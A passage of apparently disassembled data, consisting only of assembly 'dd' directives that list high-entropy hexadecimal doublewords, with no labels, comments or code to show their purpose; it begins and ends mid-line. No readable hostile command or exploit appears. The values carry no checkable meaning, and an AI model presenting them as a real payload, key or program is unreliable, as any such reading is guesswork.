0DE8BB7DFh, 0A30BEC0Ch, 0D5DCD70Bh dd 1173A43Ch, 8918CA60h, 7952EF9Eh, 0A125FD5h, 891C51Fh dd 7326D2BFh, 85D75D2h, 0D8F879D1h, 0AE960C5Ah, 0BA2D2743h dd 30A9E92Ah, 4BD67AD1h, 75FF82EEh, 2C042535h, 0FDD46D1Ch dd 856F6163h, 450BE181h, 4FC2EFC6h, 4436EBBh, 0E613D155h dd 6D96BAEBh, 0C252CEEEh, 6EDD5BA6h, 6712AE3Eh, 558D8B78h dd 1028EA36h, 1EA181EDh, 6BBAB14Ch, 1016FB7Eh, 0AFDEA9Ah dd 0D30EE42Fh, 7D7628D5h, 7D13DD11h, 0FE16820Fh, 3870A0ECh dd 0FFF5D6B6h, 0C32F59AFh, 4682DBBAh, 0F2B91AC0h, 0A9B9B648h dd 3DAE95B5h, 9F07D989h, 5A3D58B0h, 0DFC06470h, 2788DD70h dd 0EA8BD7EEh, 61997D6Eh, 14D7FD61h, 0F8081470h, 78FAE4D5h dd 0E9A26525h, 8F267F2Eh, 70FC5E3Fh, 82BD46D4h, 6090D241h dd 51BCB265h, 5044EA82h, 0DDA1DECCh, 0B4CBF29Ch, 50DAAC84h dd 98CA9607h, 0DB7B332Ah, 0C3E15F51h, 7491F6ABh, 51904DFAh dd 6EE1F8DEh, 7AB9942Ah, 0F6C132ACh, 0FC9DABEFh, 6DCA9B8Ah dd 0B4765DDAh, 0FDAFDCF0h, 0A4C060BFh, 0B197E563h, 6F65A681h dd 873E913Bh, 890494BAh, 113DDD2Ah, 0A17A6A6Eh, 0CFB5F3A4h dd 823E8DF4h, 0F22D36DDh, 2B281AEAh, 0B9C59767h, 0CCAE6EDh dd 12FEAFAEh, 0F0EC92CDh, 6697FE1Bh, 0FE11A5A2h, 0A5E8C0D6h dd 0B4988F55h, 0D29F8AA2h, 0AFA7300Dh, 0BF0D8BA8h, 18CFB068h dd 77394EADh, 2A5D235Bh, 0A78F84BBh, 24D69EB3h, 8B23A8B0h dd 968BC288h, 19BDB601h dd 38A6983h, 0AEF841C5h, 55A8D736h, 7F487E0Bh, 75C07D92h dd 2E4E6F4Dh, 0A28D3CA1h, 7BC4A328h, 714326BFh, 9ACE9DC4h dd 0DC702066h, 639C19BFh, 97798275h, 61B43586h, 0DBBBC444h dd 3F03E09Dh, 41683A15h, 7E3560F2h, 8EAC2A16h, 8C2187E5h dd 0C8FBD035h, 5543F955h, 783D6039h, 0E6F3AA01h, 0E1B277D0h dd 0B939EAB6h, 21DFDBDh, 0C882E3A7h, 0FF625E96h, 4E0F220Dh dd 68A6AF51h, 35E0C2E3h, 0ECBFA022h, 3A69DC7Dh, 38E24BCAh dd 0BAD5CCBDh, 6480A398h, 0D743F0F7h, 0A912D327h, 0CB9971E4h dd 9D58FC93h, 0D1E3F98Ch, 4C0AB42Eh, 574B7A5Dh, 0CBF35390h dd 0D700EB75h, 0FC379FD3h, 53812733h, 0D158C89Bh, 1D40BE3Ah dd 9EB431F7h, 0E3DE7DDBh, 0EBF82EFCh, 6DABA9B5h, 983E2410h dd 47ADF6E4h, 0ACF64245h, 66A0AD68h, 0A0EB9F09h, 5A1EA429h dd 0EE5778F8h, 97F0A734h, 85D062CAh, 0E4544A20h, 0FCD42D0Ah dd 79CBA56h, 25EDFBADh, 80E09B52h, 0D9321A37h, 7D15DCE7h dd 54EA368Ch, 358B3D5Eh, 53AD0E48h, 0F03F8C8Ch, 4CBAF9D5h dd 7F7B3C35h, 80938359h, 0ABDA35A6h, 0B65A9049h, 0DDC994EDh dd 4727D23Dh, 0F846E257h, 0DFF9119Fh, 0F36EC813h, 0DC2EEDEAh dd 0DA2B4DA2h, 0A6BAB3CAh, 63A78AF9h, 44A2FEC7h, 79D5D360h dd 0CABAF60Eh, 2AE79B04h, 0E9782707h, 8F18C094h, 0D5E37C50h dd 37DED927h, 322EDDEDh, 0FE6C1E8Bh, 6C3D557Fh, 7B2D13Fh dd 0C28A9E87h, 3B0BFAC3h, 0F1E7F7EBh, 9E679CCh, 9993055Dh dd 3BF94413h, 81BE07B2h, 0F2150109h, 0CE150756h, 0AE4D6F19h dd 7CE7CD72h, 0E21D69D1h, 0ACAE525Dh, 587DB579h, 77D61C48h dd 0C2AE5130h, 22DBA8CFh, 0B0B1A491h, 0F87325FCh, 0F7FFD732h dd 64061B89h, 0CC7176E4h, 8FD957C4h, 531B8EBBh, 0AF9EB85Fh dd 0F1533FEDh, 0D6C74956h, 0F03F3E7Eh, 8B6F0E7Ch, 9C1561C3h dd 83E18461h, 0DDCD649Bh, 0C07C224h, 8DC6922Fh, 0D3340712h dd 8DB78C4Ch, 0FE403A7Ah, 915DC5C1h, 6A8EBDCDh, 92593051h dd 0DD728BE8h, 0E6733EA5h, 0E3CAAE8Ch, 0E7A2179Dh, 39495AC6h dd 0F2890180h, 20EAD432h, 0CBB290AAh, 0F16D7FC8h, 5671737Eh dd 0FBA16DEh, 0B9C972F6h, 6DF21F8Ah, 0D7FE55F9h, 7AECE78Ch dd 0F1EBA639h, 0F26C8C1Eh, 0DDF7E1C7h, 4AD8DFC3h, 4B038DC5h dd 0F7ABC58Fh, 0D4BB743Eh, 0E17E5E93h, 832A9FB5h, 814FD3FDh dd 0B380918Eh, 0A3EA1F60h, 0FBB1F872h, 51309FDFh, 7A0F8FB9h dd 75F3830Eh, 0A0E80AFCh, 0EF8A8FAEh, 70B8CF5Dh, 363B86A5h dd 29D8C342h, 63EEFD56h, 1EEE6DCh, 0D6E5F617h, 30534822h dd 0A6C47FA1h, 5333DF05h, 5CFDC21Fh, 8CBF70D5h, 0E7B5B7B9h dd 0F46F763Ah, 5735E5ABh, 0B5F21BEBh, 0E79FAB6Ch, 0D428E7C2h dd 397DED2Eh, 98077F79h, 21EA8185h, 0B7C53BC1h, 0A11EBC63h dd 6F6FDF6Ch, 6640A0E3h, 60686231h, 2EB47755h, 562E4B1Ch dd 0DB3B89AEh, 0BBD5840Bh, 0D74BB73Eh, 0F97B65E5h, 1997F19Ch dd 0B448EA97h, 2C901CEFh, 176ED4D2h, 4FF83C97h, 53B6D07Bh dd 960F307Ch, 0B109FC48h, 0E639AA40h, 22E28CACh, 0FF5A3FB4h dd 0D746DD4h, 0D3210BFh, 0FD810CACh, 0E2E9192Fh, 0E9A07C7Ah dd 797085DBh, 63077205h, 0EC6AF6E2h, 0E0F83E73h, 0D2BFA814h dd 0F0E7AD1Ch, 9F0D102Fh, 0FB7BF68Ch, 0E6FB8D3Ah, 763023FFh dd 728AAE2Eh, 35EFDD81h, 0FD2FE29Ch, 0A1307154h, 0BE038h dd 0F17546D6h, 0F781CE0Fh, 0F0EB601Eh, 6025C585h, 56B8BE07h dd 8538EAFBh, 0B58AB57Bh, 562FDB69h, 0F4F08BEAh, 2A6D9CDBh dd 391B5621h, 7D9614EEh, 0D5492B67h, 0BF9DEA44h, 54E6AD1Bh dd 6CB6E954h, 72CDAC9Dh, 1B3F26C0h, 0F8B7F22Fh, 32E2CD64h dd 0E86721E7h, 0A77D66AEh, 6CAF5DF7h, 4D3D5FEh, 0A8E72D1Fh dd 1B9C8B26h, 0D6F46B02h, 527BE1DAh, 526D1DEEh, 62D2AC45h dd 54DB4A8Dh, 0A09D9010h, 0FB9F5366h, 2816938Ah, 1C93DD28h dd 85D9AEAAh, 9408EEDAh, 0C14F2DA3h, 0DB740933h, 5026D321h dd 0D191E3B3h, 6214EC3Ah, 2671E5BBh, 173B0F41h, 7EC5BC5Ah dd 14BCD83Fh, 5D8B9E0Eh, 0BF68EDA2h, 0D90BB0F9h, 0DC252C84h dd 669AB959h, 0FE2BBB59h, 0A77FCA2Ch, 0FC47E12Bh, 0AD6B7136h dd 0AD3F95F6h, 0AA670FC7h, 0C83B41F3h, 0C7FCE37Fh, 70DB472Bh dd 2E35FAE9h, 343F17B9h, 0D3AC98E5h, 3888D51h, 9854AD10h dd 6D36F7EAh, 0EE95F3ABh, 0DE7D8488h, 3F2732EFh, 0D9884AD1h dd 90315E99h, 0BEC54732h, 7705030Eh, 0EA04FF1h, 0ABACA86Dh dd 0B7821F6Eh, 0C5ADEE6Ch, 0BEE168h, 17CF23B6h, 4A6C3ACDh dd 8A963F58h, 54AFD3AAh, 6425011Bh, 0E4D9BBE4h, 0A2730B3Ch dd 0E93E19A5h, 65509237h, 80AD3AE2h, 0DCFAD009h, 5577D0D4h dd 0A617E444h, 0DDEF06BFh, 768602EDh, 0E346E0F7h, 89FB6338h dd 0B775A96Ch, 0A0BC7D34h, 883B6F5Ch, 0CB0E076h, 0A843EC2h dd 5C059D4Fh, 1237E278h, 0ACD33EA4h, 0C201CD9Fh, 58AB3037h dd 9AC0269Fh, 7CBA374Bh, 0A8BAB5A3h, 5A88A96Ah, 41B97988h dd 3A5FCCFFh, 0DEE84E2h, 0EEDF1113h, 34E42CFDh, 0F56FE461h dd 0FAEAC6C7h, 0B3B71A1h, 0BBD7613Bh, 0D77A8C0Bh, 27EB8AADh dd 0E95E584h, 0CBA5AE8Dh, 0EC556B82h, 40629383h, 2FE8B24Eh dd 79CE7B57h, 4BBCAD5Ch, 0B995202Ch, 8409DFEFh, 3E8798EEh dd 6C87FF4Dh, 0A07FC9CCh, 7DFAE16Ch, 0C07365DDh, 45CADF33h dd 10ED4395h, 5638056Ch, 26DC9D16h, 0BDA06BEAh, 525D3B22h dd 0AE939829h, 9E4B44E9h, 74E46F36h, 80D993F0h, 0B852AEDEh dd 6981E17Ah, 0E1DA026Bh, 2396EE25h, 0CD637395h, 0A9F0C279h dd 25FF5DA8h, 0C7E55460h, 0AB3D485Fh, 3453BE58h, 1E0CB60Eh dd 609AAA63h, 0B622058Bh, 77708E72h, 8A37EB46h, 0EE5CF13Eh dd 27EF0650h, 8A5ABA8Ah, 604A4B32h, 0B7BCFA5Bh, 0E2C85D72h dd 8A71D8BCh, 0EE8141EAh, 0D7299AEDh, 0C167C3B1h, 1D8D6FC6h dd 131255F2h, 7145D9D9h, 317E551Ah, 51FF1251h, 5417A7ADh dd 0FC8B1251h, 7CF2FE9Dh, 2BD9090Dh, 55E7BA93h, 0B9B8C1FBh dd 564144C2h, 62A3FD8Ch, 5FFBEFC5h, 0D86DEB8Dh, 6C9EBC96h dd 17BA03BDh, 0B8D2E049h, 0FC2A27D1h, 175F90EFh, 1FFB86BAh dd 4B1B0EE7h, 0C7CB5AE8h, 0F0B03EA2h, 0F9ECED9Dh, 0BDCA96E2h dd 935FB9Fh, 5DC23CE3h, 7FAD11FBh, 2E8378BDh, 8561BA98h dd 1E746BDFh, 0DD4C3F1h, 0D5575600h, 6FA1EB46h, 9389AD8Ah dd 2E45DC27h, 0C0AAD975h, 5D2AFAA6h, 0DF49A89Fh, 6D5EBA2h dd 0BBD6E2F8h, 0B53A3A5Eh, 25682B27h, 401089B6h, 0C91BE1FEh dd 0C0F3F895h, 650A42FCh, 7BD1289Eh, 5F3AADBCh, 0D69BBB70h dd 35A3A3C0h, 88741762h, 0D3244EEFh, 6D722E9Eh, 43D4F20Ch dd 0DD89F72Bh, 0D7575731h, 91585EFBh, 0DD91AFB8h, 502C8915h dd 46F52988h, 7236BA5Eh, 0FFACBFC2h, 0E1288DE2h, 9EAEA6F6h dd 8338E7D0h, 0CBB51D98h, 7E36F5B6h, 7F16EAC6h, 0F89FD2D1h dd 0BC9D879h, 4BCD8D81h, 0F41EA8CFh, 62A96772h, 4AF1C63Fh dd 0E3921D88h, 54957215h, 2D11ECC1h, 55C253C1h, 0EBD9DCF8h dd 22D931C5h, 5A543E4Eh, 37107734h, 0FB146CAEh, 87879CB4h dd 7D6CD362h, 0C121E8DFh, 456A6AF1h, 0CD7B8862h, 328AEA6Dh dd 449DB110h, 63F85DAh, 8B21CA8Bh, 8E7F6549h, 60E37C1Ah dd 0F2AAA707h, 9C04A80Ah, 0AB8F1ACCh, 41AE8451h, 5D208C81h dd 0F8C08ABAh, 409388A7h, 0D404A84Dh, 71DC2638h, 0F88C7981h dd 3DCE1330h, 4AAE830Bh dd 8AAE8D8Fh, 0E3026A58h, 18617A10h, 0C08F4053h, 0E5A43E62h dd 54604D4h, 0A027F70Ah, 2992052h, 23E50614h, 0F0405860h dd 9033A3CBh, 606F1555h, 76B87588h, 0C69811C6h, 0C0545055h dd 0A14A2060h, 412C00ACh, 0C11C4555h, 0D041D967h, 0F45F6ECh dd 0A3E02AF7h, 20029F6Ah, 443F0B21h, 0B93C5C95h, 67E239D5h dd 4F447402h, 223CE46Dh, 2E86A2ABh, 0E5C598CCh, 0CAFE30FCh dd 1CBBA6F6h, 89DED94Ch, 0F619A757h, 90EFDFD8h, 3D21BA04h dd 6CDD2B86h, 0FE288524h, 0F5236BAh, 0A0AE1E01h, 7939EF21h dd 1BEC99C5h, 0D26263B0h, 0ABB7AD88h, 0FBE04BE8h, 0B6FA0931h dd 7E0D83BFh, 78B7ABE2h, 0CDA8C040h, 7E283FA0h, 0D0AC7B6Ah dd 0D51A4F05h, 0D51BEFFEh, 0E0F0D509h, 0AC16557Dh, 0B35376A8h dd 0C14AB65Fh, 0BB5A30D2h, 4D17C896h, 0D5E4BEFCh, 6C241DD4h dd 694D63E7h, 123EB1FBh, 2AAE73A6h, 69F47AB2h, 0CD8C9F8Ah dd 30644DB0h, 62C77E90h, 8C649230h, 1EF50C94h, 0F9F9D5Eh dd 0AC4C0F1Eh, 5C01545h, 6146E997h, 3FC688D7h, 239BD02Dh dd 0C568F333h, 35CCEB3Bh, 19C0FBB2h, 9B068401h, 92076E39h dd 835F45AEh, 0FBF5F171h, 191F1783h, 0CF2C0738h, 5D4ABAD4h dd 0B5C3AC51h, 57C3FB1Ah, 5F999355h, 9F11A1A2h, 530AB834h dd 0F3F2181Eh, 0AEFB054Eh, 0E2626626h, 78799A7Fh, 2A8C6554h dd 40BD94D4h, 363DF575h, 3DC992ECh, 40DC2BAFh, 78D063Fh dd 82F7E45Dh, 87AD97F2h, 19D1693Ch, 0B656AD04h, 0D5DC624Bh dd 93BE84B3h, 0BEC52948h, 4CBE9C04h, 0E754DD33h, 511E6BE3h dd 735DE56Bh, 0AE03A086h, 6C3DF6BBh, 3AA1906h, 0BEF8E8A5h dd 0F0CB64A7h, 49DF2053h, 0DFA9BE2h, 5D038236h, 9BB78D0Ah dd 0FCAE1BEFh, 4B391032h, 0AD6F7AEDh, 368E66D0h, 58EE17FCh dd 5D55D50Bh, 51541768h, 57A7A64Fh, 0C76FE129h, 332EB857h dd 7D1D6C83h, 0BBC1754Ah, 0D80E6D3Bh, 4080F3AAh, 0AA40348Dh dd 4A729FC5h, 0DFCECBFBh, 71915CC1h, 577F94EFh, 3518F4E2h dd 0A1455DEBh, 0EBC5EC46h, 0B54B0E60h, 6A8EC0ADh, 0A9B11BFCh dd 61255267h, 0DBDEDB5Dh, 9D1AC87Dh, 0A37D5E1Fh, 0BD0DF646h dd 3790AB87h, 0C16AC303h, 0E0CEE52Ah, 91C2E739h, 707CAB62h dd 27169EBBh, 0A4023E97h, 0ED997724h, 6C41674Fh, 0E8ADA323h dd 0C79FBF0Ch, 57CE043Fh, 1F9B7670h, 6C354554h, 0DA7241A2h dd 4636B9FBh, 57ED199Eh, 0FCFB66EBh, 0CDA6377Dh, 62EF17F3h dd 7768BBCBh, 8036E735h, 96839DB2h, 0FB850E83h, 0BFED341Ah dd 845F833Ch, 0C4424383h, 13F1D823h, 7B2E6B16h, 0A12B20EFh dd 5C005AE3h, 0B04BF979h, 0C0F3BED7h, 4E5F8E27h, 0F3035DECh dd 3FEFD5CEh, 4ACF135Fh, 0F246B419h, 0AB365B5Bh, 2AAB9CC8h dd 0FA39B607h, 7556B475h, 3CF0A998h, 0F479A2BBh, 4DFDB0BFh dd 0DB89BE31h, 0B27D1F29h, 6796836Dh, 0C4C18226h, 0C1ED501Ch dd 841B82D4h, 1DFC6743h, 698E2A58h, 61D23753h, 7DF97140h dd 69DCDB92h, 0ACF25C5Bh, 97C5EAC7h, 0EC77A51Bh, 0C6BB7255h dd 3EB545C5h, 54FEF0F0h, 3D2D1643h, 235E4B31h, 255DD1C2h dd 0B8431565h, 0B2D184D7h, 0D5350BF9h, 0F0443017h, 17571EB3h dd 0DD0D89BEh, 7E5858A7h, 0DFAE03BDh, 18F030E5h, 0B969789Dh dd 4E5AE4FBh, 84490BE1h, 0AFA6F601h, 0AF1FCF81h, 0F54E651Ah dd 5EE2CF86h, 9BFC764Ah, 0BF24560Ah, 0A7C67AECh, 0BAA5F7CEh dd 0BA3EB6EBh, 5E243E5Dh, 89492BFAh, 2C90F1D8h, 571807D6h dd 224AEBA2h, 0DF412FC8h, 0D7281665h, 6CA9D6B1h, 6F8E2119h dd 0D9C2CAE3h, 155C3254h, 0D875AD15h, 2E428BCDh, 0E4BABE5Dh dd 0A731555Bh, 4DCAB89Dh, 4EF71BBFh, 0DE920AFBh, 8FF93846h dd 93E6914Fh, 6AAFD476h, 0C65E0658h, 6DEA9D25h, 32F84F4Eh dd 5F93D1D5h, 0FEEC0061h, 31EEC163h, 0F8E8DADh, 0D12FA008h dd 0FD43348Dh, 0C0DEBE06h, 0A63234ABh, 6FA61E4Fh, 31EDE27Bh dd 159AD881h, 6AA0802Dh, 6F76EF2Ah, 0CEAB0DC0h, 73BFE019h dd 69C4F0DAh, 0D42E6AC9h, 2B44A74Ch, 0D5ADBEDAh, 0E0FC1076h dd 0A13D8DC9h, 40E1E5AEh, 0F0175D0Eh, 732507E0h, 0F354D63Eh dd 1D9A350Ah, 7785717Eh, 0B7CD21F8h, 639E5774h, 13A17C89h dd 9F587777h, 53D31F14h, 0B616AFBFh, 1EF9A0F6h, 3C7956B1h dd 3E5A4D4h, 25E5FD0Ch, 0D3BA2A76h, 5A2B9C87h, 0E1FDFAB7h dd 6016FF44h, 0F8CAFA63h, 4EE2A906h, 0A9822FE2h, 6F81ED67h dd 7F584DA3h, 0EF9D3DCFh, 51FCB877h, 0D5676C08h, 0BF5CE76h dd 5787239Eh, 0ABD7B0D2h, 3EE2365Eh, 70568F5Eh, 0C1AF9B67h dd 2E53C0EFh, 45E194E5h, 0D334D50Bh, 0FDEB1402h, 0BD2F0257h dd 0EC2607E3h, 28D26D7Ah, 0E5FAD94Bh, 94355769h, 3B370FC5h dd 0EA8B84DEh, 0E3C2A0C6h, 7079022Dh, 5B5F3ECCh, 0FBF2C8ABh dd 0F11950B4h, 45F43A6Dh, 4BCED44Dh, 0B92CFB7Dh, 26B76787h dd 0E86049DFh, 94D435C0h, 6BF9D33Fh, 0B7BF2FADh, 92E034EFh dd 36351C09h, 694537D7h, 0DC720AE8h, 0B7FB3AF4h, 0A65AA251h dd 3F82D896h, 0EA1F8F8Fh, 0E595F613h, 4A9DA349h, 48896755h dd 6ABB77F8h, 7D087157h, 0B90E8ACCh, 2CFEE5BFh, 50D5509Dh dd 0BF5BF5F4h, 6C3A99E8h, 0F21D7936h, 7FCAACEBh, 690B6863h dd 682EE877h, 811B8AC3h, 8C15F9C6h, 0A6DCAEE8h, 0FA9858AFh dd 44F9D79h, 0B6E6CB84h, 0D20E7D1Bh, 0D70E02CFh, 0C7251AADh dd 0EA57E416h, 0DC226D55h, 47147D53h, 81957FACh, 9C071AE4h dd 75545EBAh, 1F656E64h, 8569C3DFh, 69F01208h, 0A7511895h dd 0F5700738h, 0BE4043B4h, 0E45C42B4h, 0AFEE57A7h, 676581E1h dd 0C1B1354Eh, 92BC3CDFh, 0CDC70785h, 11C0FCBDh, 5268AC05h dd 57884836h, 991AB7ACh, 87E0A76Eh, 0F3C90BF7h, 6265D8B7h dd 9BEE7601h, 0FCDFCFADh, 793AF388h, 5703580Bh, 75F2C565h dd 26D15A70h, 3D2B6F5Fh, 2D8C9DABh, 9B759A11h, 0C1E2C570h dd 0AF66D63Eh, 39BF1BAFh, 0C713BB76h, 0A87D51DDh, 0B4DA56A1h dd 3019246Fh, 6390776Ah, 15B8C149h, 399C7555h, 48069E61h dd 331455D2h, 808C2C66h, 740EFA2Fh, 0BF4E9C20h, 170CD5FBh dd 0B62375ECh, 0FDBD9AEh, 0ECCACBF1h, 8A18A2EEh, 551B2F14h dd 7F12FD96h, 9C755700h, 0EA1D86DDh, 27028822h, 574905B2h dd 0DE84212Bh, 0D90E113h, 6FDEA90Bh, 5319301Dh, 2D9A90F3h dd 0F7FF6931h, 0EEA1610Fh, 2B3AB3ADh, 0C12AFD58h, 90BDBB98h dd 0C951A783h, 0EF2B6568h, 0BEDE3554h, 5C0F161Dh, 4BDAD901h dd 7F9F353h, 4F3DB755h, 7DE864DEh, 55D44015h, 59B0EB5Ch dd 6C7BA039h, 0B0E0977Ch, 36655724h, 19C4EBB1h, 8953CEABh dd 0DA2B3E3Ch, 0F4E2BF81h, 0E3F667B4h, 0C8D3A9C7h, 7BE3336Ah dd 4CBC1E7Eh, 1DD7AE30h, 717697A4h, 0B01E0E18h, 4E73FFBFh dd 19DDE0BFh, 9E752F9Fh, 0EDC0C2B9h, 0A694F181h, 9736AB5Ch dd 0BDB21F2Ch, 0CC2DF76Fh, 39DD2185h, 79B2BA70h, 0A1F87862h dd 0A128A100h, 7B83753Bh, 5FF74295h, 0C634EC6Dh, 97335371h dd 0B3DEE51Eh, 0CDAAB734h, 4D4E75F5h, 83CB67D2h, 2DE72FE8h dd 0B07B7910h, 0F2FC0B9Eh, 1E7B125Dh, 11105B6Fh, 0D265450Bh dd 41D705CEh, 0F41750Dh, 0D1DFBFDBh, 0F66F3872h, 30F435C5h dd 0AFB6010Dh, 3D83AE63h, 417F6758h, 50C0EE5Bh, 0BEF1AFh dd 3988DD5Eh, 0D0B44768h, 4AEDC2DFh, 0AC0FD76Dh, 0DABB3A69h dd 0DBC32BBCh, 0E79B0B6Ah, 0DC12BF0Dh, 9A1E4052h, 0EE7768DBh dd 1E82C286h, 87FC8D81h dd 0CEE0D482h, 4DEABF8Bh, 0C9B99181h, 66D7DEA4h, 6B61BA81h dd 4CE785CFh, 252B2F57h, 27C3AEE3h, 82E783E4h, 0F7D02ED6h dd 8CCE0047h, 0F75D8776h, 7B4C2717h, 0B42DD454h, 6CF3AC2Bh dd 5D346A5Ah, 66AF530Fh, 0C67B2D43h, 475A5A4Ah, 0EB2A0C22h dd 0B59562B0h, 42F91999h, 5F5A67D0h, 7216FDABh, 0B65A9B0Dh dd 9A31BEB3h, 0B78B343Dh, 0B5B92598h, 0AC259B98h, 28427236h dd 283A663Dh, 68E1F4C7h, 6F5BBB5Dh, 0E2251B3Eh, 0B46FB460h dd 0B79D7D16h, 1371901Dh, 6AF607A5h, 1A86EF2Fh, 0B5874CA0h dd 5C3D101Fh, 0A4CAD8B4h, 0D0BE5440h, 0EB95DD3Eh, 0C6953A08h dd 0BBA74F6Fh, 0AFCFB1FDh, 13FE5A2Fh, 0B47127C7h, 7DD526ADh dd 0D3AA3ACEh, 0BD28DE07h, 543C65D7h, 1E6DE4F9h, 52DD9F7Ch dd 0BB82D7E9h, 0DF8DF383h, 4BD9C3C0h, 0F76D95FAh, 52DA252h dd 0F6FEF2D4h, 0EE767952h, 0D2ABB4EAh, 76AF9688h, 0C51067ECh dd 0FB6554EBh, 0C5FD1391h, 0FFAA9321h, 0DA7FCCE0h, 6879EF89h dd 0F7FBCAE5h, 0ED42015Fh, 8C733AB8h, 1ED9CD3Bh, 732604E3h dd 0CA85FF7Bh, 337076F1h, 4AFBD0CAh, 597FD189h, 0C755816h dd 0DFC49554h, 36031D8h, 64C497CBh, 0CFA955ADh, 13F52BF3h dd 0B5775548h, 35337F35h, 42C46AA7h, 9B192D5Ch, 358ECA3Bh dd 0BE76B6EBh, 5F875FA2h, 0ED5AF171h, 0A0C4825Fh, 1BF23DDCh dd 781E2E7Dh, 81F2C4F7h, 7ABBD17Eh, 5D22901h, 0BF3B87CDh dd 8053E32Ah, 0FEEA9DA2h, 8F82C5D2h, 0AB781F1Eh, 622B1EBFh dd 0C3F13B0Ch, 7831EE39h, 0EB71C47Eh, 0FC1BCFFBh, 2CE81F58h dd 0E462B181h, 0F523722Bh, 81059B4Bh, 937752D8h, 0CE71B454h dd 87B7E957h, 0F3A101Fh, 0CF95CF96h, 5F93C8EFh, 7BCAAAEBh dd 64D867D4h, 0C92D9F09h, 0AF157D8Eh, 0D5CE7AAh, 0BDD74EA1h dd 553BD2EFh, 58A71BBDh, 87E1C4D7h, 66DB5C68h, 5936C751h dd 0ACFB75A5h, 9307DA57h, 0C8CAE7B2h, 0C78293BAh, 0D395F26Eh dd 0AEDDE987h, 0D02EAA12h, 551B4189h, 96322959h, 39F1FFEDh dd 0EA5942FCh, 1EE52647h, 8F075FF4h, 2D76956Dh, 0EC7E472Ah dd 43956194h, 6FFD6A34h, 94DC81EFh, 1B4B155Eh, 8EF4A844h dd 0F3726BBFh, 4718EE02h, 0AB1AA80Ah, 368F6AA4h, 57856C6h dd 62EAADD3h, 5900BF2Bh, 87198E9Eh, 0BB9BB054h, 7120EDA3h dd 516B9097h, 0D5AE422Fh, 2F5D17D7h, 9C2C5488h, 54DFF9Dh dd 0CC7A51F7h, 6B49DCC7h, 0A3E04B68h, 0F5F154B9h, 6DC76DE6h dd 78453351h, 0A9EF51AAh, 0EC1C9E2Dh, 341F0D17h, 305DF24Ah dd 20A58370h, 0A42111E1h, 23672EEEh, 0DB078267h, 4E34FF97h dd 0EDF6FD74h, 0C9DAA06Eh, 0F5F5EE90h, 2EAB0638h, 0E90AD78Fh dd 1AEE8DADh, 51C82FBDh, 0B291A82Eh, 4778ADBFh, 971FD232h dd 9622E41Dh, 0DCEDC4FDh, 8FB8079Ch, 0CC003815h, 0CA2372BFh dd 0A73058F5h, 50A8FBF0h, 0F2B68E42h, 0ADA35968h, 0AA31A63Bh dd 0B0EFB4BAh, 76A04E33h, 27B1FB76h, 0D8FAC057h, 0B31B5D73h dd 73B8BB67h, 0DF8A92D1h, 0BFD23723h, 12B862DDh, 0BE6C657Dh dd 0D6EB4C24h, 3F67B2A1h, 150A7BF4h, 7164835Fh, 0C74383EAh dd 8A62FBEDh, 9E51BA39h, 0DABEE1DFh, 8C71FE01h, 22B7346Fh dd 5C361F8Ah, 37E171F4h, 68448B2Ch, 5240AF90h, 0D7C97AE7h dd 0C2575463h, 0B8D711DCh, 9EEBDAC9h, 0B194D6F7h, 4DB3BAC8h dd 96C00BB6h, 0BA04B94Fh, 0F45D5891h, 3AE2BA85h, 0A43E2045h dd 0D14E021Ah, 0FFA84B23h, 1602EA8Ch, 91B792A5h, 4CC0F6E8h dd 0D1CEC2D2h, 97EA5EFFh, 0CA6DC5B3h, 0DA331466h, 8ACC6BEEh dd 77A9F98Ah, 817646BEh, 0AB15A501h, 55F2F9AAh, 0B675E8D6h dd 0D83A8937h, 0EAB46A1Ah, 0F70CE458h, 0FF50580Ch, 93FD1E67h dd 4C1EFA14h, 0A6FA3F74h, 0BBB38AADh, 0B7CE7DF8h, 163B0662h dd 1C2E5368h, 7E1B5AA9h, 0B62D3C66h, 0E59622AAh, 0E59F72EDh dd 0F0EB632h, 910FC5E6h, 700EF602h, 0DDC368DDh, 8B0C4D7Fh dd 3A91DC68h, 6AB64977h, 0A354D84Eh, 0DF014810h, 506D37E8h dd 0DCF7D0C0h, 0E55A51B3h, 0B3050C48h, 66B91AEBh, 2B89F5F8h dd 3E0872FFh, 262974ADh, 0BE48AD2Fh, 0D9233BA9h, 0C2E2A19Ah dd 4EEA370h, 0BFCBAC4Bh, 296C90E2h, 604AFA3Bh, 0F76E8ED2h dd 292D0EC9h, 87F102F8h, 0FFDDA1ECh, 0D395C0A6h, 0E702A14Ah dd 821F6AF5h, 0C9B1BD7Dh, 8B201EE3h, 0C1219D7Fh, 0EB84C77Fh dd 0B74BA1E5h, 0F0C3AEAFh, 1E9848A1h, 80E5C2F6h, 3A20DFE4h dd 0B4AC2272h, 21344D20h, 0E34695F9h, 4F682A4Ah, 0BA5BB960h dd 0C72BC18Ch, 0D502C9E6h, 6F92D70Dh, 0ECE95A33h, 0B1486FE5h dd 0D4C5287Fh, 5DB590BFh, 230586A3h, 45BEEAB1h, 0BCB505A5h dd 0A9BA27B6h, 33F0357Fh, 0B8D3EA7Fh, 5523D83Eh, 5501D7CBh dd 81442455h, 0F3291C06h, 0B3A139B0h, 0FA235677h, 0AA8A7C06h dd 0BF4815A3h, 0C98D5855h, 0B0796760h, 88A466C1h, 77285FE5h dd 589CEBCh, 0A061E981h, 0D57656A5h, 0CBEB53E7h, 0ABB465AFh dd 55B26CEAh, 0B1555C88h, 0B5E952B7h, 89DF5640h, 0EBCBCCBAh dd 0B7D2960Dh, 0C2FB58DCh, 1A3A3597h, 6B81F34Ah, 6ED0A559h dd 0EEEDDF30h, 0F3BE0F22h, 32D1A9ECh, 89F2CDFBh, 0DC8CBA18h dd 0CC0FDE47h, 40C11E85h, 0F780D7C9h, 91566851h, 0AECF45A0h dd 0E4E76FA7h, 0B088BF66h, 0E181EBD6h, 6FFC5D32h, 5C7C63E7h dd 4F98554h, 39807B61h, 768AB57Bh, 4A8F079Dh, 1F5088ACh dd 653CFE12h, 0FC0AF6B3h, 39C638EFh, 0F5B278E6h, 9197562Ch dd 4B42A902h, 9EDE22AFh, 1462EA22h, 0E3D1342Dh, 0AF53751Dh dd 0B8D031AEh, 0F5C229ACh, 9ADCC285h, 450B168Dh, 0B9CCE730h dd 3DB8CE6Ah, 3675044h, 845E374Bh, 0A75DBC36h, 0BA57754Ah dd 0D1FDCCC5h, 0B055AC0Fh, 8BA52BD8h, 0CC542B23h, 72EF1F9Ch dd 207174F0h, 2C83C815h, 0D6269F73h, 5384E4h, 91DB3A3h dd 3BE309F4h, 0A1F8E85h, 2A09368Fh, 0B4D524A2h, 6B97BF97h dd 0F844A0BFh, 0AD401829h, 0A05249AAh, 0D08A8143h, 